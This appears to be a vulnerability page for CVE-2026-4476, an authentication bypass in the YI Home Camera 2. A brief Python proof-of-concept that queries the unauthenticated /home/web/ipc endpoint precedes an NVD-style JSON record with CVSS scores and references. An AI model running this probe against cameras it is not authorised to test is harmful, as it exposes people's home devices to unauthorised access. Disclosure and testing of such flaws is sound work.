CVE-2026-4476

import requests def exploit_cve_2026_4476(target_ip): """ PoC for CVE-2026-4476 Authentication Bypass Target: Yi Technology YI Home Camera 2 """ # The vulnerable endpoint identified in the advisory url = f"http://{target_ip}/home/web/ipc" try: # Sending a request without authentication headers response = requests.get(url, timeout=5) if response.status_code == 200: print("[+] Exploit successful! Authentication bypassed.") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP exploit_cve_2026_4476(target)

{"cve": {"id": "CVE-2026-4476", "sourceIdentifier": "[email protected]", "published": "2026-03-20T07:16:14.260", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Yi Technology YI Home Camera 2 2.1.1_20171024151200. The impacted element is an unknown function of the file home/web/ipc of the component CGI Endpoint. Performing a manipulation results in missing authentication. Access to the local network is required for this attack. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se encontró una vulnerabilidad en Yi Technology YI Home Camera 2 2.1.1_20171024151200. El elemento afectado es una función desconocida del archivo home/web/ipc del componente CGI Endpoint. Realizar una manipulación resulta en falta de autenticación. Se requiere acceso a la red local para este ataque. El exploit se ha hecho público y podría ser usado. El proveedor fue contactado tempranamente sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:A/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.5, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://vuldb.com/?ctiid.351766", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351766", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.773070", "source": "[email protected]"}]}}